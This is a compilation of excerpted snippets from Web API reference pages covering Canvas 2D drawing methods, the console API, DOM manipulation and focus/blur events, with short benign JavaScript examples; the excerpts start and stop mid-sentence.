...ctx.rect(10, 10, 150, 100); ctx.fill(); Result Specifying a path and a fillRule This example saves some intersecting lines to a Path2D object. The fill() method is then used to render the object to the canvas. A hole is left unfilled in the object's center by using the "evenodd" rule; by default (with the "nonzero" rule), the hole would also be filled. ...
CanvasRenderingContext2D.fillText() - Web APIs
f quality), or scale down to a smaller font size in order to fit the text in the specified width. Return value undefined. Examples Drawing filled text This example writes the words "Hello world" using the fillText() method. HTML First, we need a canvas to draw into. This code creates a context 400 pixels wide and 150 pixels across. <canvas id="canvas" width="400" height="150"></canvas>
JavaScript The
JavaScript code for this example follows. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = '50px serif'; ctx.fillText('Hello world', 50, 90); This code obtains a reference to the <canvas>, then gets a reference to its 2D graphics context. With that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then cal...
...ce to its 2D graphics context. With that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call fillText() to draw the text "Hello world," starting at the coordinates (50, 90). Result Restricting the text size This example writes the words "Hello world," restricting its width to 140 pixels. HTML <canvas id="canvas" width="400" height="150"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = '50px serif'; ctx.fillText('Hello world', 50, 90, 140); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.fillText' in that specification. Living Standard ...
CanvasRenderingContext2D.filter - Web APIs
erts the drawing to sepia. A value of 100% means completely sepia. A value of 0% leaves the drawing unchanged. none No filter is applied. Initial value. Examples To view these examples, make sure to use a browser that supports this feature; see the compatibility table below. Applying a blur This example blurs a piece of text using the filter property. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.filter = 'blur(4px)'; ctx.font = '48px serif'; ctx.fillText('Hello world', 50, 100); Result Applying multiple filters You can combine as many filters as you like. This example applies the contrast, sepia, and drop-shadow filters to a photo of a gecko. HTML <canvas id="canvas"></canvas> <div style=...
...; ctx.font = '48px serif'; ctx.fillText('Hello world', 50, 100); Result Applying multiple filters You can combine as many filters as you like. This example applies the contrast, sepia, and drop-shadow filters to a photo of a gecko. ...
CanvasRenderingContext2D.isPointInPath() - Web APIs
fied, the current path is used. Return value Boolean A Boolean, which is true if the specified point is contained in the current or specified path, otherwise false. Examples Checking a point in the current path This example uses the isPointInPath() method to check if a point is within the current path. HTML <canvas id="canvas"></canvas> <p>In path: <code id="result">false</code></p>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const result = document.getElementById('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innerText = ctx.isPointInPath(30, 70); Result Checking a point in the specified path Whenever you move the mouse, this example checks whether the cursor is in a circular Path2D path. If yes, the circle becom...
....getContext('2d'); const result = document.getElementById('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innerText = ctx.isPointInPath(30, 70); Result Checking a point in the specified path Whenever you move the mouse, this example checks whether the cursor is in a circular Path2D path. If yes, the circle becomes green, otherwise it is red. ...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
s used. Return value Boolean A Boolean, which is true if the point is inside the area contained by the stroking of a path, otherwise false. Examples Checking a point in the current path This example uses the isPointInStroke() method to check if a point is within the area of the current path's stroke. HTML <canvas id="canvas"></canvas> <p>In stroke: <code id="result">false</code></p>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const result = document.getElementById('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innerText = ctx.isPointInStroke(50, 10); Result Checking a point in the specified path Whenever you move the mouse, this example checks whether the cursor is in the stroke of an elliptical Path2D path. If ...
... = document.getElementById('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innerText = ctx.isPointInStroke(50, 10); Result Checking a point in the specified path Whenever you move the mouse, this example checks whether the cursor is in the stroke of an elliptical Path2D path. If yes, the ellipse's stroke becomes green, otherwise it is red. ...
CanvasRenderingContext2D.lineTo() - Web APIs
ender anything. To draw the path onto a canvas, you can use the fill() or stroke() methods. Syntax ctx.lineTo(x, y); Parameters x The x-axis coordinate of the line's end point. y The y-axis coordinate of the line's end point. Return value undefined. Examples Drawing a straight line This example draws a straight line using the lineTo() method. HTML <canvas id="canvas"></canvas>
JavaScript The line begins at (30, 50) and ends at (150, 100). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); // Start a new path ctx.moveTo(30, 50); // Move the pen to (30, 50) ctx.lineTo(150, 100); // Draw a line to (150, 100) ctx.stroke(); // Render the path Result Drawing connected lines Each call of lineTo() (and simila...
...(30, 50) ctx.lineTo(150, 100); // Draw a line to (150, 100) ctx.stroke(); // Render the path Result Drawing connected lines Each call of lineTo() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together. This example draws a letter 'M' with a single contiguous line. ...
CanvasRenderingContext2D.putImageData() - Web APIs
to the height of the image data. Errors thrown NotSupportedError Thrown if any of the arguments is infinite. InvalidStateError Thrown if the ImageData object's data has been detached. Examples Understanding putImageData To understand what this algorithm does under the hood, here is an implementation on top of CanvasRenderingContext2D.fillRect(). ...
...100, 100); // use the putImageData function that illustrates how putImageData works putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25); Result Data loss due to browser optimization Due to the lossy nature of converting to and from premultiplied alpha color values, pixels that have just been set using putImageData() might be returned to an equivalent getImageData() as different values. ...
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
curve. Syntax void ctx.quadraticCurveTo(cpx, cpy, x, y); Parameters cpx The x-axis coordinate of the control point. cpy The y-axis coordinate of the control point. x The x-axis coordinate of the end point. y The y-axis coordinate of the end point. Examples How quadraticCurveTo works This example shows how a quadratic Bezier curve is drawn. ...
...c(50, 100, 5, 0, 2 * Math.PI); // End point ctx.fill(); // Control point ctx.fillStyle = 'red'; ctx.beginPath(); ctx.arc(230, 30, 5, 0, 2 * Math.PI); ctx.fill(); Result In this example, the control point is red and the start and end points are blue. A simple quadratic curve This example draws a simple quadratic Bezier curve using quadraticCurveTo(). HTML <canvas id="canvas"></canvas>
JavaScript The curve begins at the point specified by moveTo(): (20, 110). The control point is placed at (230, 150). The curve ends at (250, 20). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(20, 110); ctx.quadraticCurveTo(230, 150, 250, 20); ctx.stroke(); Result Specifications Specification Status Comment ...
CanvasRenderingContext2D.resetTransform() - Web APIs
The CanvasRenderingContext2D.resetTransform() method of the Canvas 2D API resets the current transform to the identity matrix. Syntax void ctx.resetTransform(); Examples Resetting the matrix This example draws a rotated rectangle after modifying the matrix, and then resets the matrix using the resetTransform() method. HTML <canvas id="canvas"></canvas>
JavaScript The rotate() method rotates the transformation matrix by 45?. The fillRect() method draws a filled rectangle, adjusted according to that matrix. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Draw a rotated rectangle ctx.rotate(45 * Math.PI / 180); ctx.fillRect(60, 0, 100, 30); // Reset transformation matrix to the identity matrix ctx.resetTransform(); Result Continuin...
...n matrix to the identity matrix ctx.resetTransform(); Result Continuing with a regular matrix Whenever you're done drawing transformed shapes, you should call resetTransform() before rendering anything else. In this example, the first two shapes are drawn with a skew transformation, and the last two are drawn with the identity (regular) transformation. ...
CanvasRenderingContext2D.rotate() - Web APIs
te a radian from a degree. The rotation center point is always the canvas origin. To change the center point, you will need to move the canvas by using the translate() method. Examples Rotating a shape This example rotates a rectangle by 45?. Note that the center of rotation is the top-left corner of the canvas, and not a location relative to any shape. ...
...point. To do this, the following steps are applied to the matrix: First, translate() moves the matrix's origin to the shape's center. rotate() rotates the matrix by the desired amount. Finally, translate() moves the matrix's origin back to its starting point. This is done by applying the values of the shape's center coordinates in a negative direction. HTML <canvas id="canvas"></canvas>
JavaScript The shape is a rectangle with its corner at (80, 60), a width of 140, a height of 30. Its horizontal center is at (80 + 140 / 2), or 150. Its vertical center is at (60 + 30 / 2), or 75. Thus, the center point is at (150, 75). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Non-rotated rectangle ctx.fillStyle = 'gray'; ctx.fillRect(80, 60, 140, 30); //...
CanvasRenderingContext2D.scale() - Web APIs
alue flips pixels across the vertical axis. A value of 1 results in no horizontal scaling. y Scaling factor in the vertical direction. A negative value flips pixels across the horizontal axis. A value of 1 results in no vertical scaling. Examples Scaling a shape This example draws a scaled rectangle. A non-scaled rectangle is then drawn for comparison. HTML <canvas id="canvas"></canvas>
JavaScript The rectangle has a specified width of 8 and a height of 20. The transformation matrix scales it by 9x horizontally and by 3x vertically. Thus, its final size is a width of 72 and a height of 60. Notice that its position on the canvas also changes. Since its specified corner is (10, 10), its rendered corner becomes (90, 30). const canvas = document.getElementById('canvas'); const ctx = canvas.
...cally You can use scale(-1, 1) to flip the context horizontally and scale(1, -1) to flip it vertically. In this example, the words "Hello world!" are flipped horizontally. Note that the call to fillText() specifies a negative x coordinate. This is to adjust for the negative scaling factor: -280 * -1 becomes 280, and text is drawn leftwards from that point. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.fillText('Hello world!', -280, 90); ctx.setTransform(1, 0, 0, 1, 0, 0); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.scale' in that specification. Living Standa...
CanvasRenderingContext2D.setLineDash() - Web APIs
array is odd, the elements of the array get copied and concatenated. For example, [5, 15, 25] will become [5, 15, 25, 5, 15, 25]. If the array is empty, the line dash list is cleared and line strokes return to being solid. Return value undefined. Examples Basic example This example uses the setLineDash() method to draw a dashed line above a solid line. ...
...); const ctx = canvas.getContext('2d'); // Dashed line ctx.beginPath(); ctx.setLineDash([5, 15]); ctx.moveTo(0, 50); ctx.lineTo(300, 50); ctx.stroke(); // Solid line ctx.beginPath(); ctx.setLineDash([]); ctx.moveTo(0, 100); ctx.lineTo(300, 100); ctx.stroke(); Result Some common patterns This example illustrates a variety of common line dash patterns. HTML <canvas id="canvas"></canvas>
JavaScript The drawDashedLine() function created below makes the drawing of multiple dashed lines simple. It receives a pattern array as its only parameter. function drawDashedLine(pattern) { ctx.beginPath(); ctx.setLineDash(pattern); ctx.moveTo(0, y); ctx.lineTo(300, y); ctx.stroke(); y += 20; } const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); let y = 15...
CanvasRenderingContext2D.setTransform() - Web APIs
newer type consists of a single parameter, matrix, representing a 2D transformation matrix to set (technically, a DOMMatrixInit object; any object will do as long as it contains the above components as properties). Examples Skewing a shape This example skews a rectangle both vertically (.2) and horizontally (.8). Scaling and translation remain unchanged. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.setTransform(1, .2, .8, 1, 0, 0); ctx.fillRect(0, 0, 100, 100); Result Retrieving and passing a DOMMatrix object In the following example, we have two <canvas> elements. We apply a transform to the first one's context using the first type of setTransform() and draw a square on it, then retrieve the ...
...and draw a square on it, then retrieve the matrix from it using CanvasRenderingContext2D.getTransform(). We then apply the retrieved matrix directly to the second canvas context by passing the DOMMatrix object directly to setTransform() (i.e. the second type), and draw a circle on it. ...
CanvasRenderingContext2D.shadowColor - Web APIs
r A DOMString parsed as a CSS <color> value. The default value is fully-transparent black. Examples Adding a shadow to shapes This example adds a shadow to two squares; the first one is filled, and the second one is stroked. The shadowColor property sets the shadows' color, while shadowOffsetX and shadowOffsetY set their position relative to the shapes. ...
...gle ctx.fillRect(20, 20, 100, 100); // Stroked rectangle ctx.lineWidth = 6; ctx.strokeRect(170, 20, 100, 100); Result Shadows on translucent shapes A shadow's opacity is affected by the transparency level of its parent object (even when shadowColor specifies a completely opaque value). This example strokes and fills a rectangle with translucent colors. HTML <canvas id="canvas"></canvas>
JavaScript The resulting alpha value of the fill shadow is .8 * .2, or .16. The alpha of the stroke shadow is .8 * .6, or .48. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Shadow ctx.shadowColor = 'rgba(255, 0, 0, .8)'; ctx.shadowBlur = 8; ctx.shadowOffsetX = 30; ctx.shadowOffsetY = 20; // Filled rectangle ctx.fillStyle = 'rgba(0, 255, 0, .2)'; ctx.fillRect(1...
CanvasRenderingContext2D.strokeRect() - Web APIs
oint. y The y-axis coordinate of the rectangle's starting point. width The rectangle's width. Positive values are to the right, and negative to the left. height The rectangle's height. Positive values are down, and negative are up. Examples A simple stroked rectangle This example draws a rectangle with a green outline using the strokeRect() method. HTML <canvas id="canvas"></canvas>
JavaScript The rectangle's top-left corner is at (20, 10). It has a width of 160 and a height of 100. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.strokeStyle = 'green'; ctx.strokeRect(20, 10, 160, 100); Result Applying various context settings This example draws a rectangle with a drop shadow and thick, beveled outlines. HTML <canvas id="canvas"></can...
...ectangle's top-left corner is at (20, 10). It has a width of 160 and a height of 100. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.strokeStyle = 'green'; ctx.strokeRect(20, 10, 160, 100); Result Applying various context settings This example draws a rectangle with a drop shadow and thick, beveled outlines. ...
CanvasRenderingContext2D.strokeText() - Web APIs
ality), or scale down to a smaller font size in order to fit the text in the specified width. Return value undefined. Examples Drawing text outlines This example writes the words "Hello world" using the strokeText() method. HTML First, we need a canvas to draw into. This code creates a context 400 pixels wide and 150 pixels high. <canvas id="canvas" width="400" height="150"></canvas>
JavaScript The
JavaScript code for this example follows. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = '50px serif'; ctx.strokeText('Hello world', 50, 90); This code obtains a reference to the <canvas>, then gets a reference to its 2D graphics context. With that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then c...
... to its 2D graphics context. With that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call strokeText() to draw the text "Hello world," starting at the coordinates (50, 90). Result Restricting the text size This example writes the words "Hello world," restricting its width to 140 pixels. HTML <canvas id="canvas" width="400" height="150"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.font = '50px serif'; ctx.strokeText('Hello world', 50, 90, 140); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.strokeText' in that specification. Living Standard ...
CanvasRenderingContext2D.textAlign - Web APIs
ight-aligned for right-to-left locales). "end" The text is aligned at the normal end of the line (right-aligned for left-to-right locales, left-aligned for right-to-left locales). The default value is "start". Examples General text alignment This example demonstrates the three "physical" values of the textAlign property: "left", "center", and "right". ...
...gned', x, 85); ctx.textAlign = 'right'; ctx.fillText('right-aligned', x, 130); Result Direction-dependent text alignment This example demonstrates the two direction-dependent values of the textAlign property: "start" and "end". Note that the direction property is manually specified as "ltr", although this is also the default for English-language text. ...
Basic usage of canvas - Web APIs
code here } else { // canvas-unsupported code here } A skeleton template Here is a minimalistic template, which we'll be using as a starting point for later examples. Note: it is not good practice to embed a script inside HTML. We do it here to keep the example concise. ...
...s been loaded first. Here is how a template would look in action. As shown here, it is initially blank. A simple example To begin, let's take a look at a simple example that draws two intersecting rectangles, one of which has alpha transparency. We'll explore how this works in more detail in later examples. ...
Using images - Web APIs
de. var img = new Image(); // Create new img element img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw=='; One advantage of data URLs is that the resulting image is available immediately without another round trip to the server. Another potential advantage is that it is also possible to encapsulate in one file all of your CSS,
JavaScript, HTML, and images, making it more portable to other locations. Some disadvantages of this method are that your image is not cached, and for larger images the encoded url can become quite long. Using frames from a video You can also use frames from a video being presented by a <video> element (even if the video is not visible). For example, if you have a <video> element with the ID "myvideo", y...
...="frame" src="https://udn.realityripple.com/samples/57/952c634159.png" width="132" height="150"> </body> </html> And here's some CSS to make things look nice: body { background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A; margin: 10px; } img { display: none; } table { margin: 0 auto; } td { padding: 15px; } Tying it all together is the
JavaScript to draw our framed images: function draw() { // Loop through all images for (var i = 0; i < document.images.length; i++) { // Don't add a canvas for the frame image if (document.images[i].getAttribute('id') != 'frame') { // Create canvas element canvas = document.createElement('canvas'); canvas.setAttribute('width', 132); canvas.setAttribute('height', 150);...
Canvas tutorial - Web APIs
This can, for instance, be used to draw graphs, combine photos, or create simple (and not so simple) animations. The images on this page show examples of <canvas> implementations which will be created in this tutorial. This tutorial describes how to use the <canvas> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas about what you can do with canvas, and will provide code snippets that may get you started in building your own content. First introduced in WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. ...
...clear ideas about what you can do with canvas, and will provide code snippets that may get you started in building your own content. First introduced in WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. Today, all major browsers support it. Before you start Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and
JavaScript. The <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the canvas is 300 pixels x 150 pixels (width x height). But custom sizes can be defined using the HTML height and width property. In order to draw graphics on the canvas we use a
JavaScript context object, which creates graphics on the fly. In this tutoria...
console.assert() - Web APIs
sertion is false. If the assertion is true, nothing happens. Note: This feature is available in Web Workers. Syntax console.assert(assertion, obj1 [, obj2, ..., objN]); console.assert(assertion, msg [, subst1, ..., substN]); // C-like message formatting Parameters assertion Any boolean expression. If the assertion is false, the message is written to the console. obj1 ... objN A list of
JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This parameter gives you additional control over the format of the output. Examples The following code ex...
...epresentations of each of these objects are appended together in the order listed and output. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This parameter gives you additional control over the format of the output. ...
console - Web APIs
nsole if the first argument is false. console.clear() Clear the console. console.count() Log the number of times this line has been called with the given label. console.countReset() Resets the value of the counter with the given label. console.debug() Outputs a message to the console with the log level debug. console.dir() Displays an interactive listing of the properties of a specified
JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects. console.dirxml() Displays an XML/HTML Element representation of the specified object if possible or the
JavaScript Object view if it is not possible. console.error() Outputs an error message. You may use string substitution and additional arguments with this method. console.exception() An al...
...d: 5 }; console.info("My first car was a", car, ". The object is:", someObject); This output will look like this: [09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5}) Using string substitutions When passing a string to one of the console object's methods that accepts a string (such as log()), you may use these substitution strings: %o or %O Outputs a
JavaScript object. Clicking the object name opens more information about it in the inspector. %d or %i Outputs an integer. Number formatting is supported, for example console.log("Foo %.2d", 1.1) will output the number as two significant figures with a leading 0: Foo 01 %s Outputs a string. %f Outputs a floating-point value. Formatting is supported, for example console.log("Foo %.2f", 1.1) will outp...
DOMImplementation.createHTMLDocument() - Web APIs
ment() method creates a new HTML Document. Syntax const newDoc = document.implementation.createHTMLDocument(title) Parameters title Optional (except in IE) A DOMString containing the title to give the new HTML document. Example This example creates a new HTML document and inserts it into an <iframe> in the current document. ...
...al (except in IE) A DOMString containing the title to give the new HTML document. Example This example creates a new HTML document and inserts it into an <iframe> in the current document. ...
DOMTokenList - Web APIs
DOMTokenList is always case-sensitive. Properties DOMTokenList.length Read only Is an integer representing the number of objects stored in the object. ...
...terator, allowing you to go through all values of the key/value pairs contained in this object. Examples In the following simple example, we retrieve the list of classes set on a <p> element as a DOMTokenList using Element.classList, add a class using DOMTokenList.add(), and then update the Node.textContent of the <p> to equal the DOMTokenList. First, the HTML: <p class="a b c"></p> Now the
JavaScript: let para = document.querySelector("p"); let classes = para.classList; para.classList.add("d"); para.textContent = `paragraph classList is "${classes}"`; The output looks like this: Trimming of whitespace and removal of duplicates Methods that modify the DOMTokenList (such as DOMTokenList.add()) automatically trim any excess Whitespace and remove duplicate values from the list. For example:...
DedicatedWorkerGlobalScope - Web APIs
See also: Functions available to workers. ...
... methods from the WorkerGlobalScope interface, and its parent EventTarget, and therefore implements methods from WindowTimers, WindowBase64, and WindowEventHandlers. DedicatedWorkerGlobalScope.close() Discards any tasks queued in the WorkerGlobalScope's event loop, effectively closing this particular scope. DedicatedWorkerGlobalScope.postMessage() Sends a message -- which can consist of any
JavaScript object -- to the parent document that first spawned the worker. Inherited from WorkerGlobalScope WorkerGlobalScope.dump() Writes a message to the console. WorkerGlobalScope.importScripts() Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example: importScripts('foo.js', 'bar.js'); Implemented from other places Wind...
Detecting device orientation - Web APIs
their orientation; that is, they can report data indicating changes to their orientation with relation to the pull of gravity. In particular, hand-held devices such as mobile phones can use this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height. There are two
JavaScript events that handle orientation information. The first one is the DeviceOrientationEvent, which is sent when the accelerometer detects a change to the orientation of the device. By receiving and processing the data reported by these orientation events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device. The second event is the DeviceMotio...
...ing orientation change is to listen to the deviceorientation event: Note: gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation. window.addEventListener("deviceorientation", handleOrientation, true); After registering your event listener (in this case, a
JavaScript function called handleOrientation()), your listener function periodically gets called with updated orientation data. The orientation event contains four values: DeviceOrientationEvent.absolute DeviceOrientationEvent.alpha DeviceOrientationEvent.beta DeviceOrientationEvent.gamma The event handler function can look something like this: function handleOrientation(event) { var absolute = ...
DocumentOrShadowRoot.getSelection() - Web APIs
t selected by the user, or the current position of the caret. Syntax var selection = documentOrShadowRootInstance.getSelection() Parameters None. Returns A Selection object. Example function foo() { var selObj = document.getSelection(); alert(selObj); var selRange = selObj.getRangeAt(0); // do stuff with the range } Notes String representation of the Selection object In
JavaScript, when an object is passed to a function expecting a string (like Window.alert()), the object's toString() method is called and the returned value is passed to the function. This can make the object appear to be a string when used with other functions when it is really an object with properties and methods. In the above example, selObj.toString() is automatically called when it is passed to Windo...
... expecting a string (like Window.alert()), the object's toString() method is called and the returned value is passed to the function. This can make the object appear to be a string when used with other functions when it is really an object with properties and methods. In the above example, selObj.toString() is automatically called when it is passed to Window.alert(). However, attempting to use a
JavaScript String property or method such as length or substr directly on a Selection object results in an error if it does not have that property or method and may return unexpected results if it does. To use a Selection object as a string, call its toString() method directly: var selectedText = selObj.toString(); selObj is a Selection object. selectedText is a string (Selected text). Related object...
Examples of web and XML development using the DOM - Web APIs
This chapter provides some longer examples of web and XML development using the DOM. Wherever possible, the examples use common APIs, tricks, and patterns in
JavaScript for manipulating the document object. Example 1: height and width The following example shows the use of the height and width properties alongside images of varying dimensions: <!DOCTYPE html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrImages = new Array(3); arrImages[0] = document.getElementById("image1"); arrImages[1] = document.getElementById("image2"); arrImages[2] = document.getElementById("image3"); var objOutput = document.getElementById("output"); var strHtml = "<ul>"; for (var i = 0; i < arrImages.length; i++) { strHtml += "<li>image" + (i+1) ...
...These latter types of styles can be retrieved with the more direct elt.style property, whose properties are listed in the DOM CSS Properties List. getComputedStyle() returns a ComputedCSSStyleDeclaration object, whose individual style properties can be referenced with this object's getPropertyValue() method, as the following example documen...
How to create a DOM tree - Web APIs
It applies to all Gecko-based applications (such as Firefox) both in privileged (extensions) and unprivileged (web pages) code. ...
... You can use DOM trees to model data which isn't well-suited for RDF (or perhaps you just don't like RDF). Another application is that, since XUL is XML, the UI of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily. ...
Using the W3C DOM Level 1 Core - Web APIs
ent, it builds a DOM tree and then uses it to display the document. What does the DOM Level 1 Core let me do? The W3C DOM Level 1 Core allows you to change a DOM tree in any way you want. This implies the ability to create any HTML or XML document from scratch, or to change any contents of a given HTML or XML document. The easiest way for web page authors to edit the DOM of a document is to use
JavaScript to access the document property of the global object. This document object implements the Document interface from the W3C's DOM Level 1 spec. A simple example Suppose the author wants to change the header of the above document and write two paragraphs instead of one. The following script would do the job: HTML Content <body> <input type="button" value="Change this document." onclick="change()...
... object. This document object implements the Document interface from the W3C's DOM Level 1 spec. A simple example Suppose the author wants to change the header of the above document and write two paragraphs instead of one. The following script would do the job: HTML Content <body> <input type="button" value="Change this document." onclick="change()"> <h2>Header</h2> <p>Paragraph</p> </body>
JavaScript Content function change() { // document.getElementsByTagName("H2") returns a NodeList of the <h2> // elements in the document, and the first is number 0: var header = document.getElementsByTagName("H2").item(0); // the firstChild of the header is a Text node: header.firstChild.data = "A dynamic document"; // now the header is "A dynamic document". var para = docum...
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
For example, if you have a reference to a parent node and want to affect its first element child using Node.firstChild, if there is a rogue whitespace node just after the opening parent tag you will not get the result you are expecting. The text node would be selected instead of the element you want to affect. As another example, if y...
... element you want to affect. As another example, if you have a certain subset of elements that you want to do something to based on whether they are empty (have no child nodes) or not, you could check whether each element is empty using something like Node.hasChildNodes(), but again, if any target elements contain text nodes, you could end up with false results. Whitespace helper functions The
JavaScript code below defines several functions that make it easier to deal with whitespace in the DOM: /** * Throughout, whitespace is defined as one of the characters * "\t" TAB \u0009 * "\n" LF \u000A * "\r" CR \u000D * " " SPC \u0020 * * This does not use
Javascript's "\s" because that includes non-breaking * spaces (and also some other characters). */ /** * Determine whether a node'...
Document Object Model (DOM) - Web APIs
The DOM represents a document with a logical tree. Each branch of the tree ends in a node, and each node contains objects. DOM methods allow programmatic access to the tree. With them, you can change the document's structure, style, or content. ...
... The DOM represents a document with a logical tree. Each branch of the tree ends in a node, and each node contains objects. DOM methods allow programmatic access to the tree. With them, you can change the document's structure, style, or content. ...
Element: blur event - Web APIs
bbles while blur does not. The opposite of blur is focus. ...
...entListener('blur', (event) => { event.target.style.background = ''; }); Result Event delegation There are two ways of implementing event delegation for this event: by using the focusout event, or by setting the useCapture parameter of addEventListener() to true. HTML <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form>
JavaScript const form = document.getElementById('form'); form.addEventListener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addEventListener('blur', (event) => { event.target.style.background = ''; }, true); Result Specifications Specification Status Comment UI Events Working Draft Added info that this event is composed. ...
Element: focus event - Web APIs
les while focus does not. The opposite of focus is blur. ...
...ventListener('blur', (event) => { event.target.style.background = ''; }); Result Event delegation There are two ways of implementing event delegation for this event: by using the focusin event, or by setting the useCapture parameter of addEventListener() to true. HTML <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form>
JavaScript const form = document.getElementById('form'); form.addEventListener('focus', (event) => { event.target.style.background = 'pink'; }, true); form.addEventListener('blur', (event) => { event.target.style.background = ''; }, true); Result Specifications Specification Status Comment UI Events Working Draft Added info that this event is composed. ...
Element.getAttributeNS() - Web APIs
for non-existent attributes. Examples The following SVG document reads the value of the foo attribute in a custom namespace. <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="Hello namespaced attribute!"/> <script type="text/
javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getElementById( 'target' ); console.log( 'attribute test:foo: "' + circle.getAttributeNS( ns, 'foo' ) + '"' ); </script> </svg> In an HTML5 document the attribute has to be accessed with test:foo since namespaces are not supported. <!DOCTYPE html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns...
...vg> In an HTML5 document the attribute has to be accessed with test:foo since namespaces are not supported. <!DOCTYPE html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="Foo value"/> </svg> <script type="text/
javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getElementById( 'target' ); console.log('Attribute value: ' + circle.getAttribute('test:foo')); </script> </body> </html> Notes Namespaces are only supported in XML documents. HTML5 documents have to use getAttribute() instead. getAttributeNS() differs from getAttribute() in that it allows you to further specify the re...
Element.getClientRects() - Web APIs
t render anything themselves, display:none elements, and generally any elements that are not directly rendered, an empty list is returned. Rectangles are returned even for CSS boxes that have empty border-boxes. The left, top, right, and bottom coordinates can still be meaningful. Fractional pixel offsets are possible. Examples These examples draw client rects in various colors. Note that the
JavaScript function that paints the client rects is connected to the markup via the class withClientRectsOverlay. HTML Example 1: This HTML creates three paragraphs with a <span> inside, each embedded in a <div> block. Client rects are painted for the paragraph in the second block, and for the <span> element in the third block. <h3>A paragraph with a span inside</h3> <p>Both the span and the paragraph ha...
...The CSS draws borders around the paragraph and the <span> inside each <div> block for the first example, around the <ol> and <li> for the second example, and around <table>, <th>, and <td> elements for the third example. strong { text-align: center; } div { display: inline-block; width: 150px; } div p, ol, table { border: 1px solid blue; } span, li, th, td { border: 1px solid green; }
JavaScript The
JavaScript code draws the client rects for all HTML elements that have CSS class withClientRectsOverlay assigned. function addClientRectsOverlay(elt) { /* Absolutely position a div over each client rect so that its border width is the same as the rectangle's width. Note: the overlays will be out of place if the user resizes or zooms. */ var rects = elt.getClientRects(); for ...
Element.innerHTML - Web APIs
